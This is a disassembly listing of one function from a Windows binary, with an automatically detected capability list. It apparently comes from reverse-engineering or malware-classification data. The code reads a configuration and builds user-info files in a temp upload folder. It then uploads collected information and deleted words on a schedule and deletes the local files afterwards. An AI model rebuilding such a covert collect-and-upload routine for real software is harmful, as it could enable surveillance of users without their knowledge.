Function at 0x411760
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete file
Get common file path
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x42a32e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x230
mov eax, dword [0x434250]
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0xe4]
mov dword [esp + 0x23c], eax
call fcn.004162e0
mov eax, dword [esi + 0x3c]
xor edi, edi
push edi
push eax
lea ecx, [esp + 0xec]
mov dword [esp + 0x250], edi
call fcn.00416380
test al, al
jne 0x411809
mov eax, dword [esp + 0x120]
cmp eax, edi
mov dword [esp + 0x248], 0xffffffff
mov dword [esp + 0xe4], 0x42b6a8
je 0x4117e1
push eax
call fcn.0041df9e
add esp, 4
lea ecx, [esp + 0xe4]
mov dword [esp + 0x120], edi
mov dword [esp + 0x124], edi
mov dword [esp + 0x128], edi
call fcn.00415d70
xor al, al
jmp 0x413ce1
cmp dword [esi + 0x10], edi
je 0x4117b7
cmp dword [esi + 0xc], edi
je 0x413a47
mov eax, dword [0x435644]
mov ecx, 0x435644
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x34], eax
mov edi, dword [esp + 0x250]
cmp edi, 1
mov byte [esp + 0x248], 1
jne 0x411896
push str.wnime
lea ecx, [esi + 0x38]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.004061c0
add esp, 0xc
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x24c], 2
call fcn.004060a0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x248], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4119bb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x4119bb
cmp edi, 2
jne 0x4118be
push str.wnwb
lea eax, [esi + 0x38]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 3
jmp 0x4119a0
cmp edi, 3
jne 0x4118e6
push str.wnpy
lea edx, [esi + 0x38]
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 4
jmp 0x4119a0
cmp edi, 4
jne 0x41190e
push str.wnpy
lea ecx, [esi + 0x38]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 5
jmp 0x4119a0
cmp edi, 5
jne 0x411933
push str.wnie
lea eax, [esi + 0x38]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 6
jmp 0x4119a0
cmp edi, 6
jne 0x411958
push 0x42ca70
lea edx, [esi + 0x38]
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 7
jmp 0x4119a0
cmp edi, 7
jne 0x41197d
push str.wnsrf
lea ecx, [esi + 0x38]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 8
jmp 0x4119a0
cmp edi, 8
jne 0x4119bb
push str.wnkb
lea eax, [esi + 0x38]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 9
lea ecx, [esp + 0x34]
push eax
call fcn.004060a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], 1
call fcn.004014e0
mov eax, dword [esp + 0x34]
cmp dword [eax - 4], 1
jle 0x4119d2
mov edx, dword [eax - 0xc]
push edx
lea ecx, [esp + 0x38]
call fcn.00401590
mov ebx, dword [esp + 0x34]
mov ecx, dword [esi + 0x10]
mov eax, dword [ecx]
push ebx
push edi
call dword [eax + 8]
test al, al
jne 0x411a1c
push str._Initialize_
call fcn.004011c0
lea eax, [ebx - 0x10]
add esp, 4
mov byte [esp + 0x248], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413a47
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x413a47
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
push edi
call dword [eax + 8]
push ebx
push 0x42ca14
lea edi, [esi + 0x4c]
push str._s_DBPath_s
push edi
call fcn.00401cf0
add esp, 0x10
mov ecx, edi
call fcn.00401840
push eax
call fcn.004011c0
lea eax, [ebx - 0x10]
add esp, 4
mov byte [esp + 0x248], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411a6e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [0x435644]
mov ecx, 0x435644
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x88], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0xa
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x80], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0xb
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0xb0], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0xc
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x78], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0xd
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x54], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0xe
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x74], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0xf
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x90], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x10
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x44], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x11
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x8c], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x12
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x9c], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x13
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x38], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x14
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x68], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x15
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x3c], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x16
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x5c], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x17
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x84], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x18
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x58], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x19
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x64], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x1a
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x50], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x1b
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0xa4], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x1c
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x70], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x1d
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0xa0], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x1e
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x98], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x1f
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0x248], 0x20
mov ecx, 0x435644
mov edx, dword [0x435644]
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0xa8], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x21
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x48], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x22
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x7c], eax
push str.PRODUCT
push str.PRODUCTS
push str.WNWB_CONF
lea ecx, [esp + 0xf0]
mov byte [esp + 0x254], 0x23
call fcn.00415450
mov ecx, eax
call fcn.00415450
mov ecx, eax
call fcn.00415500
mov ebp, eax
mov eax, dword [0x435644]
mov ecx, 0x435644
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x40], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x24
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x60], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x25
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x30], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x26
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x10], eax
mov eax, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x27
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x28], eax
mov edx, dword [0x435644]
mov ecx, 0x435644
mov byte [esp + 0x248], 0x28
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0xac], eax
xor eax, eax
mov byte [esp + 0x138], 0
mov ecx, 0x40
lea edi, [esp + 0x139]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov bl, 0x29
stosb byte es:[edi], al
mov byte [esp + 0x248], bl
lea eax, [esp + 0x138]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x138]
push ecx
lea ecx, [esp + 0xb0]
call fcn.004062b0
push str.Upload_
lea edi, [esi + 0x38]
lea edx, [esp + 0x18]
push edi
push edx
call fcn.004061c0
add esp, 0xc
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x24c], 0x2a
call fcn.004060a0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x248], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411ee0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x30]
call fcn.00401840
push eax
lea ecx, [esp + 0x34]
call fcn.00401840
push eax
call fcn.0041e48c
add esp, 8
test eax, eax
je 0x411f0d
mov eax, dword [esp + 0x30]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [esp + 0x250], 1
push str.Upload_
lea ecx, [esp + 0x24]
push edi
push ecx
jne 0x411f8d
call fcn.004061c0
push str.wbime_userinfo.info
push eax
lea edx, [esp + 0x28]
push edx
mov byte [esp + 0x260], 0x2b
call fcn.004061c0
add esp, 0x18
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x24c], 0x2c
call fcn.004060a0
lea ecx, [esp + 0x14]
call fcn.004014e0
lea ecx, [esp + 0x20]
mov byte [esp + 0x248], bl
call fcn.004014e0
push str.wbime_userinfo.info
lea eax, [esp + 0xbc]
push edi
push eax
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 0x2d
jmp 0x411ff6
call fcn.004061c0
push str.wbwg_userinfo.info
push eax
lea edx, [esp + 0x28]
push edx
mov byte [esp + 0x260], 0x2e
call fcn.004061c0
add esp, 0x18
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x24c], 0x2f
call fcn.004060a0
lea ecx, [esp + 0x14]
call fcn.004014e0
lea ecx, [esp + 0x20]
mov byte [esp + 0x248], bl
call fcn.004014e0
push str.wbwg_userinfo.info
lea eax, [esp + 0xbc]
push edi
push eax
call fcn.004061c0
add esp, 0xc
mov byte [esp + 0x248], 0x30
lea ecx, [esp + 0x60]
push eax
call fcn.004060a0
lea ecx, [esp + 0xb8]
mov byte [esp + 0x248], bl
call fcn.004014e0
xor ebx, ebx
cmp ebp, ebx
je 0x4121b5
mov edi, dword [esp + 0x250]
push 0x42b69c
mov ecx, ebp
call fcn.00415e70
push eax
call fcn.0041e487
add esp, 4
cmp eax, edi
mov ecx, ebp
je 0x41204f
call fcn.00415560
mov ebp, eax
cmp ebp, ebx
jne 0x412024
jmp 0x4121b5
push str.COLLECT
call fcn.00415500
mov ebp, eax
cmp ebp, ebx
je 0x413900
push str.base_bytes_over
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0xac]
call fcn.004062b0
push str.base_compress
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x98]
call fcn.004062b0
push str.base_file_size
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x4c]
call fcn.004062b0
push str.base_port
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x80]
call fcn.004062b0
push str.info_allow
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x8c]
call fcn.004062b0
push str.word_allow
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x84]
call fcn.004062b0
push str.info_interval_day
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x7c]
call fcn.004062b0
push str.info_upweb
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x94]
call fcn.004062b0
push str.word_upweb
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x48]
call fcn.004062b0
push str.info_collect_time
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x6c]
call fcn.004062b0
push str.word_reserve_count
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x90]
call fcn.004062b0
push str.word_max_count
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0xa0]
call fcn.004062b0
push str.word_clear_time
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0xa4]
call fcn.004062b0
push str.word_add_newwatch
mov ecx, ebp
call fcn.00415e70
push eax
lea ecx, [esp + 0x9c]
call fcn.004062b0
mov ecx, dword [esp + 0xa8]
push ecx
call fcn.0041e487
add esp, 4
lea ecx, [esp + 0x6c]
mov dword [esp + 0x34], eax
call fcn.00401820
mov edx, dword [esp + 0x94]
push str.13510112566
push edx
mov byte [esp + 0x250], 0x31
call fcn.0041e2b7
add esp, 8
test eax, eax
lea ecx, [esp + 0x6c]
jne 0x41220e
push 0x42c9d4
mov byte [esp + 0xcc], al
call fcn.004062b0
mov dword [esp + 0x34], ebx
jmp 0x412220
push 0x42c9cc
mov byte [esp + 0xcc], 1
call fcn.004062b0
mov edx, dword [esp + 0x7c]
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0xd8]
push ecx
push str._d__d
push edx
call fcn.0041e3fb
mov ecx, dword [esp + 0xe4]
mov edi, dword [esp + 0xf0]
sub edi, ecx
add esp, 0x10
lea ecx, [esp + 0x1c]
call fcn.00401820
cmp edi, ebx
mov byte [esp + 0x248], 0x32
jne 0x412283
mov eax, dword [esp + 0xd4]
push eax
lea ecx, [esp + 0x20]
push 0x42c618
push ecx
call fcn.00401cf0
add esp, 0xc
jmp 0x4122c3
jge 0x412295
push str.6001
lea ecx, [esp + 0x20]
call fcn.004062b0
jmp 0x4122c3
push ebx
call fcn.0041da99
push eax
call fcn.0041f02d
call fcn.0041f037
cdq
idiv edi
add edx, dword [esp + 0xdc]
push edx
lea edx, [esp + 0x28]
push 0x42c618
push edx
call fcn.00401cf0
add esp, 0x14
push ebx
call fcn.0041e3bf
add esp, 4
lea ecx, [esp + 0x2c]
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], edx
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xd0], ebx
call fcn.00401820
push str._Y__m__d
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xc8]
mov byte [esp + 0x250], 0x33
call fcn.0040cf50
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x24c], 0x34
call fcn.004060a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], 0x33
call fcn.004014e0
mov ecx, dword [esp + 0xa0]
mov edi, dword [esp + 0x2c]
push ecx
push edi
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x41238e
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x412381
mov edx, dword [esp + 0x8c]
mov edi, eax
mov ebx, dword [edi]
push edx
call fcn.0041e487
add esp, 4
push eax
mov eax, dword [esp + 0xa0]
push eax
call fcn.0041e487
add esp, 4
push eax
mov ecx, edi
call dword [ebx + 0x1c]
mov edi, dword [esp + 0x2c]
push edi
push str.word_clear_time
mov ecx, ebp
call fcn.00415ea0
mov ecx, dword [esp + 0x88]
push str.false
push ecx
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x4125e7
mov edx, dword [esp + 0x68]
push edi
push edx
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x4125e7
lea eax, [esp + 0xcc]
push eax
push ecx
lea edx, [esp + 0x70]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
mov edi, dword [esp + 0xc0]
mov ecx, dword [esp + 0xcc]
mov ebx, dword [esp + 0xc4]
mov eax, dword [esp + 0xd0]
sub edi, ecx
sbb ebx, eax
mov eax, dword [esp + 0x78]
push eax
call fcn.0041e487
add esp, 4
push 0
cdq
push 0x15180
push ebx
mov ecx, edx
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], ecx
call fcn.0041dfb0
mov ecx, dword [esp + 0x14]
sub eax, ecx
mov ecx, dword [esp + 0x20]
sbb edx, ecx
mov dword [esp + 0x18], edx
js 0x4125e7
jg 0x412447
test eax, eax
jbe 0x4125e7
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4138e5
mov edx, dword [esp + 0xc8]
mov ebx, dword [esp + 0x34]
mov ecx, eax
mov edi, dword [ecx]
push edx
push ebx
lea ecx, [esp + 0x48]
call fcn.00401840
mov ecx, dword [esi + 0xc]
push eax
call dword [edi + 0x1c]
test eax, eax
lea edi, [esi + 0x4c]
je 0x412486
mov eax, dword [esp + 0x6c]
push eax
push str._CreateUploadFileByRequest_
jmp 0x412490
mov ecx, dword [esp + 0x6c]
push ecx
push 0x42c954
push 0x42bba4
push edi
call fcn.00401cf0
mov ecx, edi
add esp, 0x10
call fcn.00401840
push eax
call fcn.004011c0
mov eax, dword [esi + 0x14]
add esp, 4
test eax, eax
je 0x4138e5
lea ecx, [esp + 0x40]
call fcn.00401840
push eax
lea ecx, [esp + 0x44]
call fcn.00401840
push eax
call fcn.0041e48c
add esp, 8
test eax, eax
jne 0x4125da
push 0x42c93c
call fcn.004011c0
add esp, 4
lea edx, [esp + 0xb8]
push edx
mov ecx, esi
call fcn.0040d7e0
mov dword [esp + 0x14], eax
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
push ebx
push ecx
lea ecx, [esp + 0x24]
mov byte [esp + 0x250], 0x35
mov dword [esp + 0x28], eax
call fcn.00401840
push eax
lea ecx, [esp + 0x9c]
call fcn.00401840
push eax
lea ecx, [esp + 0x50]
call fcn.00401840
mov ecx, dword [esp + 0x24]
push eax
call fcn.00401840
mov ecx, dword [esi + 0x14]
push eax
mov eax, dword [esp + 0x38]
call dword [eax + 8]
lea ecx, [esp + 0xb8]
mov ebx, eax
mov byte [esp + 0x248], 0x33
call fcn.004014e0
test ebx, ebx
je 0x4125e7
mov edx, dword [esp + 0x2c]
push edx
push str.info_collect_time
mov ecx, ebp
call fcn.00415ea0
mov ecx, esi
call fcn.00409eb0
mov eax, dword [esp + 0x1c]
push eax
push 0x42c928
push str._s_port_s
push edi
call fcn.00401cf0
add esp, 0x10
mov ecx, edi
call fcn.00401840
push eax
call fcn.004011c0
mov al, byte [esi + 0x48]
add esp, 4
test al, al
je 0x4125e7
push 0x42c914
call fcn.004011c0
add esp, 4
lea ecx, [esp + 0x60]
call fcn.00401840
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call edi
lea ecx, [esp + 0x40]
call fcn.00401840
push eax
call edi
jmp 0x4125e7
push 0x42c8fc
call fcn.004011c0
add esp, 4
mov ecx, dword [esp + 0x80]
push str.false
push ecx
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x413b45
lea ecx, [esp + 0x4c]
call fcn.00401820
push 0x42b500
mov ecx, ebp
mov byte [esp + 0x24c], 0x36
call fcn.00415500
mov edi, eax
push str.open
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x50]
call fcn.004062b0
push str.last_collect_time
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x40]
call fcn.004062b0
mov edx, dword [esp + 0x4c]
push edx
call fcn.0041e487
add esp, 4
cmp eax, 1
jne 0x4128a8
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
push eax
push ecx
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x4128a8
push str.repeat
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x3c]
call fcn.004062b0
push str._Y__m__d
lea edx, [esp + 0x18]
push edx
lea ecx, [esp + 0xc8]
call fcn.0040cf50
mov eax, dword [eax]
push str..info
push eax
push 1
lea ecx, [esp + 0x34]
push str._d_word__s_s
push ecx
mov byte [esp + 0x25c], 0x37
call fcn.00401cf0
add esp, 0x14
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], 0x36
call fcn.004014e0
push 0x42b680
lea ecx, [esp + 0x14]
call fcn.004062b0
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x28]
push ecx
call fcn.0040a650
add esp, 0xc
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24c], 0x38
call fcn.004060a0
lea ecx, [esp + 0x20]
mov byte [esp + 0x248], 0x36
call fcn.004014e0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4138dc
mov edx, dword [esp + 0x34]
mov ebx, dword [eax]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x38]
push edx
push eax
call fcn.0041e487
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0xd0]
add esp, 4
push eax
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 1
call dword [ebx + 0x18]
test al, al
je 0x41289b
push str._GetHotWords__type1
call fcn.004011c0
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401840
push eax
lea ecx, [esp + 0x14]
call fcn.00401840
push eax
call fcn.0041e48c
add esp, 8
test eax, eax
jne 0x41279e
push 0x42c8a4
jmp 0x4127a3
push 0x42c888
call fcn.004011c0
mov eax, dword [esp + 0x14]
add esp, 4
push eax
mov ecx, esi
call fcn.0040a090
mov ecx, dword [esp + 0x48]
push ecx
mov ebx, eax
call fcn.0041e487
add esp, 4
cmp ebx, eax
jge 0x4128a8
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4138dc
lea edx, [esp + 0x20]
push edx
mov ecx, esi
call fcn.0040d7e0
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x34]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x14]
mov ebx, dword [eax]
push ecx
push edx
lea ecx, [esp + 0x24]
mov byte [esp + 0x250], 0x39
call fcn.00401840
push eax
lea ecx, [esp + 0x50]
call fcn.00401840
push eax
lea ecx, [esp + 0x20]
call fcn.00401840
mov ecx, dword [esp + 0x24]
push eax
call fcn.00401840
mov ecx, dword [esi + 0x14]
push eax
call dword [ebx + 8]
lea ecx, [esp + 0x20]
mov ebx, eax
mov byte [esp + 0x248], 0x36
call fcn.004014e0
test ebx, ebx
je 0x412887
mov ecx, esi
call fcn.00409eb0
mov eax, dword [esp + 0x2c]
push eax
push str.last_collect_time
mov ecx, edi
call fcn.00415ea0
mov ecx, dword [esp + 0x1c]
push ecx
push 0x42c874
push str._s_port_s
lea edi, [esi + 0x4c]
push edi
call fcn.00401cf0
add esp, 0x10
mov ecx, edi
call fcn.00401840
push eax
call fcn.004011c0
add esp, 4
mov al, byte [esi + 0x48]
test al, al
je 0x4128a8
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4128a8
push 0x42c850
call fcn.004011c0
add esp, 4
push str.PLAN
mov ecx, ebp
call fcn.00415500
mov edi, eax
push str.open
mov ecx, edi
mov dword [esp + 0xb8], edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x50]
call fcn.004062b0
mov eax, dword [esp + 0x4c]
push eax
call fcn.0041e487
add esp, 4
cmp eax, 1
jne 0x4130dc
push str.repeat
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x3c]
call fcn.004062b0
push str.interval
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x58]
call fcn.004062b0
push str.last_collect_time
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x40]
call fcn.004062b0
push str.upload_full_open
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x88]
call fcn.004062b0
push str.full_upload
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x5c]
call fcn.004062b0
push str.begin_date
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x68]
call fcn.004062b0
push str.end_date
mov ecx, edi
call fcn.00415e70
push eax
lea ecx, [esp + 0x54]
call fcn.004062b0
mov ecx, dword [esp + 0x98]
push ecx
call fcn.0041e487
add esp, 4
test eax, eax
jne 0x412ab2
lea ecx, [esp + 0x14]
call fcn.00401820
lea ecx, [esp + 0x20]
call fcn.00401820
lea edx, [esp + 0xd8]
push edx
mov edx, dword [esp + 0x68]
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0xc0]
push ecx
push str._d__d__d
push edx
mov byte [esp + 0x25c], 0x3b
call fcn.0041e3fb
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xf0]
mov edx, dword [esp + 0xcc]
push eax
push ecx
push edx
lea eax, [esp + 0x34]
push str._04d_02d_02d
push eax
call fcn.00401cf0
lea ecx, [esp + 0x100]
push ecx
mov ecx, dword [esp + 0x7c]
lea edx, [esp + 0x108]
push edx
lea eax, [esp + 0xe8]
push eax
push str._d__d__d
push ecx
call fcn.0041e3fb
mov edx, dword [esp + 0x114]
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0xf4]
push edx
push eax
push ecx
lea edx, [esp + 0x68]
push str._04d_02d_02d
push edx
call fcn.00401cf0
mov eax, dword [esi + 0x10]
add esp, 0x50
test eax, eax
je 0x412a87
mov ebx, dword [eax]
lea ecx, [esp + 0x20]
call fcn.00401840
push eax
lea ecx, [esp + 0x18]
call fcn.00401840
mov ecx, dword [esi + 0x10]
push eax
call dword [ebx + 0x14]
push str._AddNewWatch_
call fcn.004011c0
add esp, 4
push 0x42b600
push str.word_add_newwatch
mov ecx, ebp
call fcn.00415ea0
lea ecx, [esp + 0x20]
call fcn.004014e0
lea ecx, [esp + 0x14]
mov byte [esp + 0x248], 0x36
call fcn.004014e0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x3c]
push ecx
push edx
call fcn.0041e2b7
add esp, 8
test eax, eax
je 0x412e5a
lea eax, [esp + 0x20]
push eax
push ecx
xor ebx, ebx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0xc0]
mov edx, dword [esp + 0x24]
sub eax, ecx
mov ecx, dword [esp + 0xc4]
sbb ecx, edx
lea edx, [esp + 0xb8]
push edx
push ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
lea eax, [esp + 0x58]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
lea ecx, [esp + 0xcc]
push ecx
push ecx
lea edx, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.00405d20
mov ecx, esi
call fcn.0040a500
mov ecx, dword [esp + 0xb8]
mov eax, dword [esp + 0xcc]
mov edx, dword [esp + 0xbc]
sub eax, ecx
mov ecx, dword [esp + 0xd0]
sbb ecx, edx
sub esp, 8
mov dword [esp + 0xc0], eax
mov eax, esp
mov dword [esp + 0xc4], ecx
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00409e20
test al, al
je 0x412e5a
sub esp, 8
mov eax, esp
lea ecx, [esp + 0xc0]
mov dword [esp + 0x1c], esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00409e00
